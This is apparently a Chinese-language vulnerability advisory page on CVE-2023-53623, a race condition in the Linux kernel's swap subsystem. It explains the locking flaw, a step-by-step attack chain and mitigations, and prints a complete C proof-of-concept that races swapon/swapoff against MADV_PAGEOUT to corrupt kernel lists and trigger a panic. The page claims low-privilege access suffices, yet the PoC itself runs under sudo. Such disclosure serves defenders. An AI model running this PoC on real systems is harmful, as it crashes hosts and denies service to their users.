IPBUF安全漏洞报告
English
CVE-2023-53623 CVSS 4.7 中危

CVE-2023-53623 Linux内核swapoff与get_swap_pages竞争条件漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53623
漏洞类型
竞争条件漏洞/内存破坏
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (mm/swap子系统)

相关标签

Linux Kernel竞争条件内存破坏拒绝服务内核漏洞mm/swapswapoffplist本地提权CVE-2023-53623

漏洞概述

CVE-2023-53623是Linux内核内存管理子系统(mm/swap)中的一个竞争条件漏洞,存在于swapoff路径与get_swap_pages()函数之间。该漏洞源于在删除swap_info_struct(si)节点时未正确持有si->lock锁,导致另一个线程可能在swapoff删除节点后重新将其添加到可用列表中,从而引发内存破坏。

该漏洞的触发场景为:当core 0执行swapoff操作调用del_from_avail_list(si)后,core 1可能在swap_avail_lock保护下重新将si添加到swap_avail_head列表中。此后core 0获取si->lock并继续清除SWP_WRITEOK等标志,但由于si已被重新插入,将导致链表结构损坏。在极端情况下,这会触发内核panic(在CONFIG_PLIST_DEBUG启用时尤为明显),同时也会产生大量警告信息。

该漏洞影响stable 5.10.y及之后的所有稳定版本内核。攻击者需要本地低权限访问权限即可触发该漏洞,无需用户交互。虽然该漏洞主要影响系统可用性(可能导致内核panic),但在特定条件下也可能造成内存破坏,影响系统的机密性和完整性。

技术细节

该漏洞的核心问题在于swap_info_struct(si)的删除操作与可用列表(avail list)管理之间存在锁竞争问题。

**漏洞原理:**
在Linux内核的swap管理中,swap_info_struct通过plist(优先级链表)维护在swap_avail_head可用列表中。当执行swapoff操作时,需要将si从可用列表中删除。原始代码在调用del_from_avail_list(si)时未持有si->lock,这导致了以下竞争条件:

1. Core 0执行swapoff,调用del_from_avail_list(si)将si从可用列表中删除
2. Core 1等待swap_avail_lock,获取后通过_enable_swap_info()中的add_to_avail_list()重新将si添加到swap_avail_head
3. Core 0获取si->lock,继续清除SWP_WRITEOK等标志
4. 由于si已被重新插入到列表中,链表的前后指针关系被破坏

**触发条件:**
- 需要并发执行swapon和swapoff操作(如使用stress-ng-swap工具)
- 同时调用madvise(MADV_PAGEOUT)对大量内存块进行pageout操作
- 内核配置中启用CONFIG_PLIST_DEBUG可更容易观察到panic

**影响分析:**
在swapoff()路径中,被关闭swap的si所占用的内存可能在swap关闭后仍保留在swap_info[]数组中,直到在swapon路径中分配并重置为新的swap时才会导致内存破坏。plist_check_prev_next_node函数检测到链表前后节点不一致时触发WARNING,最终可能导致系统panic。

**修复方案:**
在调用del_from_avail_list()之前先获取si->lock,确保其他线程能够一致地看到si已被删除且SWP_WRITEOK已被清除,避免重复插入。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上拥有本地低权限账户访问权限(PR:L),无需特殊权限或用户交互即可发起攻击。
STEP 2
步骤2:创建swap文件
使用dd命令创建指定大小的swap文件,并通过mkswap将其格式化为swap分区,为后续的swap操作做准备。
STEP 3
步骤3:并发触发swapon/swapoff
通过多线程并发执行swapon和swapoff操作(如使用stress-ng-swap工具),在swap_avail_head链表中频繁添加和删除swap_info_struct节点。
STEP 4
步骤4:触发内存pageout
并发调用madvise(MADV_PAGEOUT)对大量内存块进行换出操作,触发get_swap_pages()函数从可用列表中获取swap_info_struct。
STEP 5
步骤5:竞争条件触发
在swapoff删除si节点与get_swap_pages()重新添加si节点之间产生竞争,导致plist链表结构损坏,触发内核WARNING或panic。
STEP 6
步骤6:系统不可用
内核检测到链表不一致后触发panic(A:H),导致系统完全不可用,造成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53623 PoC - Linux Kernel mm/swap Race Condition * * This PoC triggers the race condition between swapoff and get_swap_pages() * by concurrently performing swapon/swapoff operations and memory pageout. * * Compile: gcc -o poc_cve_2023_53623 poc_cve_2023_53623.c -lpthread * Run: sudo ./poc_cve_2023_53623 */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <pthread.h> #include <signal.h> #include <errno.h> #include <sys/wait.h> #define SWAP_SIZE_MB 256 #define NUM_THREADS 4 #define NUM_ITERATIONS 50 static volatile int keep_running = 1; static char swapfile_path[] = "/tmp/cve_2023_53623_swapfile"; void signal_handler(int sig) { keep_running = 0; } /* Create a swap file */ int create_swap_file(const char *path, size_t size_mb) { int fd; char cmd[512]; /* Remove existing swap file */ unlink(path); /* Create swap file using dd */ snprintf(cmd, sizeof(cmd), "dd if=/dev/zero of=%s bs=1M count=%d 2>/dev/null", path, size_mb); if (system(cmd) != 0) return -1; /* Set proper permissions */ chmod(path, 0600); /* Make swap */ snprintf(cmd, sizeof(cmd), "mkswap %s >/dev/null 2>&1", path); if (system(cmd) != 0) return -1; return 0; } /* Thread function: continuously do swapon/swapoff */ void* swap_toggle_thread(void* arg) { int iter = 0; char cmd[256]; while (keep_running && iter < NUM_ITERATIONS) { /* swapon */ snprintf(cmd, sizeof(cmd), "swapon %s 2>/dev/null", swapfile_path); system(cmd); usleep(1000 + (rand() % 5000)); /* swapoff */ snprintf(cmd, sizeof(cmd), "swapoff %s 2>/dev/null", swapfile_path); system(cmd); usleep(1000 + (rand() % 5000)); iter++; } return NULL; } /* Thread function: trigger MADV_PAGEOUT to use swap */ void* pageout_thread(void* arg) { long thread_id = (long)arg; size_t alloc_size = 64 * 1024 * 1024; /* 64MB per thread */ while (keep_running) { /* Allocate memory */ void *mem = mmap(NULL, alloc_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (mem == MAP_FAILED) continue; /* Touch memory to make it allocated */ memset(mem, thread_id & 0xFF, alloc_size); /* Trigger pageout to swap */ if (madvise(mem, alloc_size, MADV_PAGEOUT) != 0) { munmap(mem, alloc_size); continue; } usleep(5000 + (rand() % 10000)); munmap(mem, alloc_size); } return NULL; } int main(int argc, char *argv[]) { pthread_t threads[NUM_THREADS * 2]; printf("[*] CVE-2023-53623 PoC - Linux Kernel mm/swap Race Condition\n"); printf("[*] Setting up swap file...\n"); if (create_swap_file(swapfile_path, SWAP_SIZE_MB) != 0) { fprintf(stderr, "[-] Failed to create swap file. Need root privileges.\n"); return 1; } printf("[+] Swap file created: %s (%d MB)\n", swapfile_path, SWAP_SIZE_MB); printf("[*] Starting concurrent swapon/swapoff and MADV_PAGEOUT operations...\n"); printf("[*] Check dmesg for WARNING/panic messages.\n\n"); signal(SIGINT, signal_handler); signal(SIGTERM, signal_handler); /* Create swapon/swapoff threads */ for (int i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[i], NULL, swap_toggle_thread, NULL) != 0) { fprintf(stderr, "[-] Failed to create swap thread %d\n", i); return 1; } } /* Create pageout threads */ for (int i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[NUM_THREADS + i], NULL, pageout_thread, (void*)(long)i) != 0) { fprintf(stderr, "[-] Failed to create pageout thread %d\n", i); return 1; } } /* Wait for threads to complete */ for (int i = 0; i < NUM_THREADS * 2; i++) { pthread_join(threads[i], NULL); } /* Cleanup */ printf("\n[*] Cleaning up...\n"); char cmd[256]; snprintf(cmd, sizeof(cmd), "swapoff %s 2>/dev/null", swapfile_path); system(cmd); unlink(swapfile_path); printf("[*] Done. Check dmesg for kernel warnings or panics.\n"); return 0; }

影响范围

Linux Kernel stable 5.10.y 及之后所有稳定版本
Linux Kernel 5.10.x
Linux Kernel 5.15.x
Linux Kernel 6.1.x
Linux Kernel 6.2.x
Linux Kernel 6.3.x
Linux Kernel 6.4.x
Linux Kernel 6.5.x
Linux Kernel 6.6.x

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1) 限制普通用户对swap设备的访问权限,避免未授权用户执行swapon/swapoff操作;2) 在系统启动脚本中禁用非必要的swap操作或减少swap分区数量;3) 通过cgroups限制单个用户或进程对swap的使用;4) 使用systemd-run等工具在受控环境中运行可能触发该漏洞的工作负载;5) 监控dmesg日志中的plist相关警告信息,及时发现异常行为;6) 考虑临时禁用CONFIG_PLIST_DEBUG以减少误报(但不能解决根本问题)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表